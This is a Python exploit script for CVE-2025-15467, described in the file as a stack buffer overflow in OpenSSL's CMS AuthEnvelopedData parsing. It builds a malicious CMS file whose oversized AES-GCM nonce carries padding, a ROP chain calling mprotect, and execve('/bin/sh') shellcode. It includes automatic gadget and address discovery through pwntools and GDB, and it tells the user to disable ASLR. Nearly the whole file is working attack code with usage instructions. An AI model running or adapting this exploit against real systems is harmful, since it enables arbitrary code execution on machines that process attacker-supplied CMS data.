exploit.py

#!/usr/bin/env python3
"""
CVE-2025-15467 - OpenSSL CMS AuthEnvelopedData Stack Buffer Overflow
Remote Code Execution Exploit

This exploit patches a valid CMS file with a malicious IV that overflows
the stack buffer, overwrites the return address with a ROP chain, and
executes shellcode to spawn a shell.

Requirements:
- Valid CMS file created with the target certificate
- OpenSSL 3.0-3.6 (vulnerable versions)
- pwntools (pip install pwntools)
- ASLR disabled OR known addresses

Usage:
    # Auto-detect addresses (requires ASLR disabled):
    python3 exploit.py --auto <openssl_bin> <valid.cms> <key> <cert>
    
    # Manual addresses:
    python3 exploit.py <libcrypto_base> <libc_base> <stack_addr> [valid.cms]

Example:
    python3 exploit.py --auto /opt/openssl-vuln/bin/openssl valid.cms dummy.key dummy.crt
    python3 exploit.py 0x7ffff7936000 0x7ffff7711000 0x7fffffffdc80 valid.cms

Author: Security Research
Date: January 2026
"""

import struct
import sys
import os
import re

# Check for pwntools
try:
    from pwn import *
    context.log_level = 'error'  # Suppress pwntools noise
    HAVE_PWNTOOLS = True
except ImportError:
    HAVE_PWNTOOLS = False

def p64(x):
    """Pack 64-bit value as little-endian bytes."""
    return struct.pack('<Q', x)

def encode_length(length):
    """ASN.1 DER length encoding."""
    if length < 0x80:
        return bytes([length])
    elif length < 0x100:
        return bytes([0x81, length])
    elif length < 0x10000:
        return bytes([0x82, (length >> 8) & 0xff, length & 0xff])
    else:
        return bytes([0x83, (length >> 16) & 0xff, (length >> 8) & 0xff, length & 0xff])

def make_octet_string(data):
    """Create ASN.1 OCTET STRING."""
    return bytes([0x04]) + encode_length(len(data)) + data

def make_integer(val):
    """Create ASN.1 INTEGER."""
    if val < 0x80:
        return bytes([0x02, 0x01, val])
    elif val < 0x100:
        return bytes([0x02, 0x02, 0x00, val])
    else:
        return bytes([0x02, 0x02, (val >> 8) & 0xff, val & 0xff])

def make_sequence(data):
    """Create ASN.1 SEQUENCE."""
    return bytes([0x30]) + encode_length(len(data)) + data


# =============================================================================
# Shellcode - execve("/bin/sh", NULL, NULL)
# =============================================================================
SHELLCODE = (
    b"\x48\x31\xf6"                              # xor rsi, rsi
    b"\x56"                                      # push rsi
    b"\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68"  # movabs rdi, "/bin//sh"
    b"\x57"                                      # push rdi
    b"\x48\x89\xe7"                              # mov rdi, rsp
    b"\x48\x31\xd2"                              # xor rdx, rdx
    b"\xb0\x3b"                                  # mov al, 59 (execve)
    b"\x0f\x05"                                  # syscall
)

# Offset from buffer start to saved RIP (without stack canary)
RIP_OFFSET = 56


def find_gadgets_in_libc(libc_path):
    """Find ROP gadgets in libc using pwntools."""
    print(f"[*] Analyzing {libc_path} for gadgets...")
    
    libc = ELF(libc_path, checksec=False)
    rop = ROP(libc, badchars=b'\x00')
    
    gadgets = {}
    
    # Find pop rdi; ret
    try:
        gadgets['pop_rdi'] = rop.find_gadget(['pop rdi', 'ret'])[0]
    except:
        gadgets['pop_rdi'] = None
    
    # Find pop rsi; ret
    try:
        gadgets['pop_rsi'] = rop.find_gadget(['pop rsi', 'ret'])[0]
    except:
        gadgets['pop_rsi'] = None
    
    # Find pop rdx; ret or pop rdx; pop rbx; ret
    try:
        gadgets['pop_rdx'] = rop.find_gadget(['pop rdx', 'ret'])[0]
        gadgets['pop_rdx_extra'] = 0  # No extra pop
    except:
        try:
            gadgets['pop_rdx'] = rop.find_gadget(['pop rdx', 'pop rbx', 'ret'])[0]
            gadgets['pop_rdx_extra'] = 1  # One extra pop (rbx)
        except:
            try:
                gadgets['pop_rdx'] = rop.find_gadget(['pop rdx', 'pop r12', 'ret'])[0]
                gadgets['pop_rdx_extra'] = 1
            except:
                gadgets['pop_rdx'] = None
                gadgets['pop_rdx_extra'] = 0
    
    # mprotect address
    gadgets['mprotect'] = libc.symbols.get('mprotect', None)
    
    # Find jmp rsp or call rsp
    try:
        # Search for jmp rsp (ff e4)
        jmp_rsp_offset = next(libc.search(b'\xff\xe4'))
        gadgets['jmp_rsp'] = jmp_rsp_offset
    except StopIteration:
        try:
            # Try call rsp (ff d4)
            call_rsp_offset = next(libc.search(b'\xff\xd4'))
            gadgets['jmp_rsp'] = call_rsp_offset
        except StopIteration:
            gadgets['jmp_rsp'] = None
    
    return gadgets
 

def get_addresses_pwntools(openssl_bin, valid_cms, key_file, cert_file):
    """
    Get addresses using GDB which gives the actual runtime addresses.
    ldd is unreliable as it shows different addresses than actual runtime.
    """
    import subprocess
    import tempfile
    
    print("[*] Auto-detecting addresses via GDB...")
    print("[*] Note: ASLR must be disabled (echo 0 > /proc/sys/kernel/randomize_va_space)")
    print()
    
    # Get LD_LIBRARY_PATH
    openssl_dir = os.path.dirname(os.path.abspath(openssl_bin))
    lib_path = os.path.join(os.path.dirname(openssl_dir), 'lib64')
    if not os.path.exists(lib_path):
        lib_path = os.path.join(os.path.dirname(openssl_dir), 'lib')
    
    print(f"[*] Using LD_LIBRARY_PATH={lib_path}")
    
    # Create GDB script
    gdb_script = '''set pagination off
set confirm off
break main
run
info proc mappings
quit
'''
    
    with tempfile.NamedTemporaryFile(mode='w', suffix='.gdb', delete=False) as f:
        f.write(gdb_script)
        gdb_script_path = f.name
    
    env = os.environ.copy()
    env['LD_LIBRARY_PATH'] = lib_path
    
    try:
        # Run GDB with the script
        cmd = ['gdb', '-q', '-x', gdb_script_path, '--args', openssl_bin, 
               'cms', '-decrypt', '-in', valid_cms, '-inform', 'DER',
               '-inkey', key_file, '-recip', cert_file]
        
        result = subprocess.run(
            cmd,
            capture_output=True,
            text=True,
            env=env,
            timeout=30
        )
        gdb_output = result.stdout + result.stderr
    except subprocess.TimeoutExpired:
        print("[-] GDB timeout")
        return None, None, None, None
    except Exception as e:
        print(f"[-] Failed to run GDB: {e}")
        return None, None, None, None
    finally:
        try:
            os.unlink(gdb_script_path)
        except:
            pass
    
    libcrypto_base = None
    libc_base = None
    libc_path = '/usr/lib/x86_64-linux-gnu/libc-2.31.so'  # Default
    
    for line in gdb_output.split('\n'):
        # GDB info proc mappings format:
        # 0x7ffff7711000     0x7ffff7733000    0x22000        0x0 /usr/lib/x86_64-linux-gnu/libc-2.31.so
        line = line.strip()
        
        if 'libcrypto.so' in line and libcrypto_base is None:
            match = re.match(r'(0x[0-9a-fA-F]+)', line)
            if match:
                libcrypto_base = int(match.group(1), 16)
        
        if ('libc-' in line or 'libc.so' in line) and 'libcrypto' not in line and libc_base is None:
            match = re.match(r'(0x[0-9a-fA-F]+)', line)
            if match:
                libc_base = int(match.group(1), 16)
            # Extract path
            parts = line.split()
            for part in parts:
                if 'libc' in part and '/' in part:
                    libc_path = part
                    break
    
    # Stack address - with ASLR disabled, this is deterministic
    stack_addr = 0x7fffffffdc58  # RSP at vulnerable function (ASLR disabled)
    
    if libcrypto_base:
        print(f"[+] libcrypto base: 0x{libcrypto_base:x}")
    else:
        print("[-] Could not find libcrypto base")
    
    if libc_base:
        print(f"[+] libc base:      0x{libc_base:x}")
    else:
        print("[-] Could not find libc base")
    
    print(f"[+] stack addr:     0x{stack_addr:x}")
    print(f"[+] libc path:      {libc_path}")
    
    return libcrypto_base, libc_base, stack_addr, libc_path


def get_addresses_manual(openssl_bin):
    """
    Get addresses by reading /proc/self/maps from a subprocess.
    Fallback when pwntools is not available.
    """
    import subprocess
    import tempfile
    
    print("[*] Auto-detecting addresses (manual method)...")
    print("[*] Note: ASLR must be disabled (echo 0 > /proc/sys/kernel/randomize_va_space)")
    print()
    
    # Get LD_LIBRARY_PATH
    openssl_dir = os.path.dirname(os.path.abspath(openssl_bin))
    lib_path = os.path.join(os.path.dirname(openssl_dir), 'lib64')
    if not os.path.exists(lib_path):
        lib_path = os.path.join(os.path.dirname(openssl_dir), 'lib')
    
    print(f"[*] Using LD_LIBRARY_PATH={lib_path}")
    
    # Create a small C program that prints its own maps and then execs openssl
    # This is a hack but works reliably
    
    # Alternative: just read maps from any process using the same libs
    # Start openssl with a command that will block (like version)
    env = os.environ.copy()
    env['LD_LIBRARY_PATH'] = lib_path
    
    # Use 'openssl version' which loads libs but exits quickly
    # We need to catch it before it exits
    try:
        # Start process
        proc = subprocess.Popen(
            [openssl_bin, 'version'],
            env=env,
            stdout=subprocess.PIPE,
            stderr=subprocess.PIPE
        )
        
        pid = proc.pid
        
        # Quickly read maps before process exits
        libcrypto_base = None
        libc_base = None
        libc_path = None
        
        try:
            with open(f'/proc/{pid}/maps', 'r') as f:
                for line in f:
                    if 'libcrypto.so' in line and libcrypto_base is None:
                        libcrypto_base = int(line.split('-')[0], 16)
                    
                    if ('libc.so' in line or '/libc-' in line) and 'libcrypto' not in line:
                        if libc_base is None:
                            libc_base = int(line.split('-')[0], 16)
                        if libc_path is None:
                            parts = line.split()
                            if len(parts) >= 6:
                                libc_path = parts[-1]
        except:
            pass
        
        proc.wait()
        
        # Default stack address (with ASLR disabled)
        stack_addr = 0x7fffffffdc00
        
        if libcrypto_base:
            print(f"[+] libcrypto base: 0x{libcrypto_base:x}")
        else:
            print("[-] Could not find libcrypto base")
        
        if libc_base:
            print(f"[+] libc base:      0x{libc_base:x}")
        else:
            print("[-] Could not find libc base")
        
        print(f"[+] stack addr:     0x{stack_addr:x} (default)")
        
        if libc_path:
            print(f"[+] libc path:      {libc_path}")
        
        return libcrypto_base, libc_base, stack_addr, libc_path
        
    except Exception as e:
        print(f"[-] Error: {e}")
        return None, None, None, None


def build_rop_chain(libc_base, stack_addr, gadgets=None):
    """
    Build ROP chain to:
    1. Call mprotect(stack_page, 0x1000, PROT_READ|PROT_WRITE|PROT_EXEC)
    2. Jump to shellcode on stack via jmp rsp
    """
    PROT_RWX = 7
    
    # Use provided gadgets or defaults for libc-2.31
    if gadgets is None:
        gadgets = {
            'pop_rdi': 0x23b6a,
            'pop_rsi': 0x2601f,
            'pop_rdx': 0x15fae6,
            'pop_rdx_extra': 1,  # pop rdx; pop rbx; ret
            'mprotect': 0x118bc0,
            'jmp_rsp': 0x131afd,
        }
    
    pop_rdi = libc_base + gadgets['pop_rdi']
    pop_rsi = libc_base + gadgets['pop_rsi']
    pop_rdx = libc_base + gadgets['pop_rdx']
    mprotect = libc_base + gadgets['mprotect']
    jmp_rsp = libc_base + gadgets['jmp_rsp']
    
    # Align stack address to page boundary
    stack_page = stack_addr & ~0xfff
    
    print(f"[*] ROP gadgets (libc @ 0x{libc_base:x}):")
    print(f"    pop rdi; ret     = 0x{pop_rdi:x}")
    print(f"    pop rsi; ret     = 0x{pop_rsi:x}")
    print(f"    pop rdx; ...     = 0x{pop_rdx:x}")
    print(f"    mprotect         = 0x{mprotect:x}")
    print(f"    jmp rsp          = 0x{jmp_rsp:x}")
    print(f"[*] mprotect(0x{stack_page:x}, 0x1000, 0x7)")
    
    rop = b''
    rop += p64(pop_rdi)
    rop += p64(stack_page)       # arg1: addr
    rop += p64(pop_rsi)
    rop += p64(0x1000)           # arg2: len
    rop += p64(pop_rdx)
    rop += p64(PROT_RWX)         # arg3: prot
    
    # Handle extra pops (e.g., pop rdx; pop rbx; ret)
    for _ in range(gadgets.get('pop_rdx_extra', 0)):
        rop += p64(0)            # dummy value
    
    rop += p64(mprotect)         # call mprotect
    rop += p64(jmp_rsp)          # jump to shellcode
    rop += SHELLCODE             # shellcode follows immediately
    
    return rop


def patch_cms(cms_data, payload):
    """
    Patch a valid CMS file with malicious IV payload.
    """
    # AES-256-GCM OID: 2.16.840.1.101.3.4.1.46
    aes_gcm_oid = bytes([0x06, 0x09, 0x60, 0x86, 0x48, 0x01, 0x65, 0x03, 0x04, 0x01, 0x2e])
    
    # Find AES-GCM OID in CMS
    oid_pos = cms_data.find(aes_gcm_oid)
    if oid_pos == -1:
        print("[-] AES-GCM OID not found in CMS file")
        return None
    
    print(f"[*] Found AES-GCM OID at offset 0x{oid_pos:x}")
    
    # Parse GCM parameters position
    params_start = oid_pos + len(aes_gcm_oid)
    if cms_data[params_start] != 0x30:
        print(f"[-] Expected SEQUENCE at 0x{params_start:x}")
        return None
    
    # Get nonce offset
    if cms_data[params_start + 1] < 0x80:
        nonce_offset = params_start + 2
    else:
        num_len = cms_data[params_start + 1] & 0x7f
        nonce_offset = params_start + 2 + num_len
    
    print(f"[*] Original nonce at offset 0x{nonce_offset:x}")
    
    # Build new GCM parameters with malicious nonce
    new_nonce = make_octet_string(payload)
    icv_len = bytes([0x02, 0x01, 0x10])  # INTEGER 16
    new_params = make_sequence(new_nonce + icv_len)
    
    # Build new AlgorithmIdentifier
    new_alg_id = make_sequence(aes_gcm_oid + new_params)
    
    # Find data OID (start of EncryptedContentInfo)
    data_oid = bytes([0x06, 0x09, 0x2a, 0x86, 0x48, 0x86, 0xf7, 0x0d, 0x01, 0x07, 0x01])
    eci_content_start = cms_data.find(data_oid)
    if eci_content_start == -1:
        print("[-] Data OID not found")
        return None
    
    # Find SEQUENCE before data OID
    eci_start = eci_content_start - 2
    while eci_start > 0 and cms_data[eci_start] != 0x30:
        eci_start -= 1
    
    print(f"[*] EncryptedContentInfo at offset 0x{eci_start:x}")
    
    # Find encryptedContent [0] IMPLICIT
    enc_tag_pos = cms_data.find(bytes([0x80]), eci_start)
    if enc_tag_pos == -1:
        print("[-] EncryptedContent not found")
        return None
    
    # Parse encryptedContent length
    if cms_data[enc_tag_pos + 1] < 0x80:
        enc_len = cms_data[enc_tag_pos + 1]
        enc_data_start = enc_tag_pos + 2
    else:
        num_bytes = cms_data[enc_tag_pos + 1] & 0x7f
        enc_len = int.from_bytes(cms_data[enc_tag_pos + 2:enc_tag_pos + 2 + num_bytes], 'big')
        enc_data_start = enc_tag_pos + 2 + num_bytes
    
    enc_content = cms_data[enc_tag_pos:enc_data_start + enc_len]
    
    # Build new EncryptedContentInfo
    new_eci = make_sequence(data_oid + new_alg_id + enc_content)
    
    # Get MAC (everything after encryptedContent)
    mac_start = enc_data_start + enc_len
    mac = cms_data[mac_start:]
    
    # Get version and recipientInfos
    version_pos = cms_data.find(bytes([0x02, 0x01, 0x00]))
    version_and_recipients = cms_data[version_pos:eci_start]
    
    # Build new AuthEnvelopedData
    new_aed = make_sequence(version_and_recipients + new_eci + mac)
    
    # Wrap in explicit [0]
    new_explicit = bytes([0xa0]) + encode_length(len(new_aed)) + new_aed
    
    # ContentInfo OID (AuthEnvelopedData)
    ci_oid = bytes([0x06, 0x0b, 0x2a, 0x86, 0x48, 0x86, 0xf7, 0x0d, 0x01, 0x09, 0x10, 0x01, 0x17])
    
    # Build final CMS
    new_cms = make_sequence(ci_oid + new_explicit)
    
    print(f"[+] New CMS size: {len(new_cms)} bytes (was {len(cms_data)})")
    
    return new_cms


def create_exploit(libc_base, stack_addr, valid_cms_path, gadgets=None, output_path='exploit.cms'):
    """Create exploit CMS file."""
    
    print("=" * 60)
    print("CVE-2025-15467 Exploit Generator")
    print("=" * 60)
    print()
    print(f"[*] libc base:      0x{libc_base:x}")
    print(f"[*] stack addr:     0x{stack_addr:x}")
    print()
    
    # Read valid CMS
    with open(valid_cms_path, 'rb') as f:
        cms_data = f.read()
    
    print(f"[*] Read {len(cms_data)} bytes from {valid_cms_path}")
    
    # Build ROP chain
    rop_chain = build_rop_chain(libc_base, stack_addr, gadgets)
    
    print(f"[*] ROP chain size: {len(rop_chain)} bytes")
    print(f"[*] Shellcode size: {len(SHELLCODE)} bytes")
    
    # Build payload
    payload = b'A' * RIP_OFFSET  # Padding to RIP
    payload += rop_chain         # ROP chain + shellcode
    
    print(f"[*] Total payload size: {len(payload)} bytes")
    print()
    
    # Patch CMS
    exploit_cms = patch_cms(cms_data, payload)
    
    if exploit_cms is None:
        print("[-] Failed to create exploit")
        return False
    
    # Write output
    with open(output_path, 'wb') as f:
        f.write(exploit_cms)
    
    print()
    print(f"[+] Exploit written to: {output_path}")
    print()
    print("[*] Run with:")
    print(f"    LD_LIBRARY_PATH=/opt/openssl-vuln/lib64 /opt/openssl-vuln/bin/openssl \\")
    print(f"        cms -decrypt -in {output_path} -inform DER -inkey dummy.key -recip dummy.crt")
    
    return True


def main():
    banner = """
╔═══════════════════════════════════════════════════════════════════╗
║     CVE-2025-15467 - OpenSSL CMS Stack Buffer Overflow            ║
║     Remote Code Execution Exploit                                 ║
║                                                                   ║
║     Bypasses: NX (via ROP to mprotect)                            ║
║     Auto-detect: Addresses + Gadgets via pwntools                 ║
╚═══════════════════════════════════════════════════════════════════╝
    """
    print(banner)
    
    # Auto mode
    if len(sys.argv) >= 2 and sys.argv[1] == '--auto':
        if len(sys.argv) < 6:
            print("Usage (auto mode):")
            print("  python3 exploit.py --auto <openssl_bin> <valid.cms> <key> <cert>")
            print()
            print("Example:")
            print("  python3 exploit.py --auto /opt/openssl-vuln/bin/openssl valid.cms dummy.key dummy.crt")
            print()
            print("Note: ASLR must be disabled:")
            print("  echo 0 | sudo tee /proc/sys/kernel/randomize_va_space")
            print()
            print("Install pwntools for best results:")
            print("  pip install pwntools")
            return
        
        openssl_bin = sys.argv[2]
        valid_cms = sys.argv[3]
        key_file = sys.argv[4]
        cert_file = sys.argv[5]
        
        if not os.path.exists(openssl_bin):
            print(f"[-] OpenSSL binary not found: {openssl_bin}")
            return
        
        if not os.path.exists(valid_cms):
            print(f"[-] CMS file not found: {valid_cms}")
            return
        
        # Get addresses
        if HAVE_PWNTOOLS:
            libcrypto_base, libc_base, stack_addr, libc_path = get_addresses_pwntools(
                openssl_bin, valid_cms, key_file, cert_file
            )
        else:
            print("[!] pwntools not found, using fallback method")
            print("[!] Install with: pip install pwntools")
            print()
            libcrypto_base, libc_base, stack_addr, libc_path = get_addresses_manual(openssl_bin)
        
        if not all([libc_base, stack_addr]):
            print()
            print("[-] Failed to auto-detect addresses")
            print("[*] Make sure ASLR is disabled:")
            print("    echo 0 | sudo tee /proc/sys/kernel/randomize_va_space")
            print("[*] Or use manual mode with known addresses")
            return
        
        # Find gadgets in libc
        gadgets = None
        if HAVE_PWNTOOLS and libc_path and os.path.exists(libc_path):
            print()
            gadgets = find_gadgets_in_libc(libc_path)
            
            if not all([gadgets.get('pop_rdi'), gadgets.get('pop_rsi'), 
                       gadgets.get('pop_rdx'), gadgets.get('mprotect'),
                       gadgets.get('jmp_rsp')]):
                print("[!] Some gadgets not found, using defaults")
                gadgets = None
        
        print()
        create_exploit(libc_base, stack_addr, valid_cms, gadgets)
        return
    
    # Manual mode
    if len(sys.argv) < 4:
        print("Usage:")
        print()
        print("  Auto mode (ASLR disabled, recommended):")
        print("    python3 exploit.py --auto <openssl_bin> <valid.cms> <key> <cert>")
        print()
        print("  Manual mode:")
        print("    python3 exploit.py <libcrypto_base> <libc_base> <stack_addr> [valid.cms]")
        print()
        print("Arguments:")
        print("  libcrypto_base  Base address of libcrypto.so.3 (from /proc/pid/maps)")
        print("  libc_base       Base address of libc.so.6 (from /proc/pid/maps)")
        print("  stack_addr      Stack address near overflow (RSP value)")
        print("  valid.cms       Path to valid CMS file (default: valid.cms)")
        print()
        print("Examples:")
        print("  python3 exploit.py --auto /opt/openssl-vuln/bin/openssl valid.cms dummy.key dummy.crt")
        print("  python3 exploit.py 0x7ffff7936000 0x7ffff7711000 0x7fffffffdc80")
        print()
        print("To disable ASLR:")
        print("  echo 0 | sudo tee /proc/sys/kernel/randomize_va_space")
        print()
        print("Install pwntools for auto gadget detection:")
        print("  pip install pwntools")
        return
    
    libcrypto_base = int(sys.argv[1], 16)
    libc_base = int(sys.argv[2], 16)
    stack_addr = int(sys.argv[3], 16)
    valid_cms = sys.argv[4] if len(sys.argv) > 4 else 'valid.cms'
    
    if not os.path.exists(valid_cms):
        print(f"[-] File not found: {valid_cms}")
        print("[*] Create it with:")
        print("    echo 'test' > plain.txt")
        print("    openssl cms -encrypt -aes-256-gcm -in plain.txt -out valid.cms -outform DER dummy.crt")
        return
    
    create_exploit(libc_base, stack_addr, valid_cms)


if __name__ == "__main__":
    main()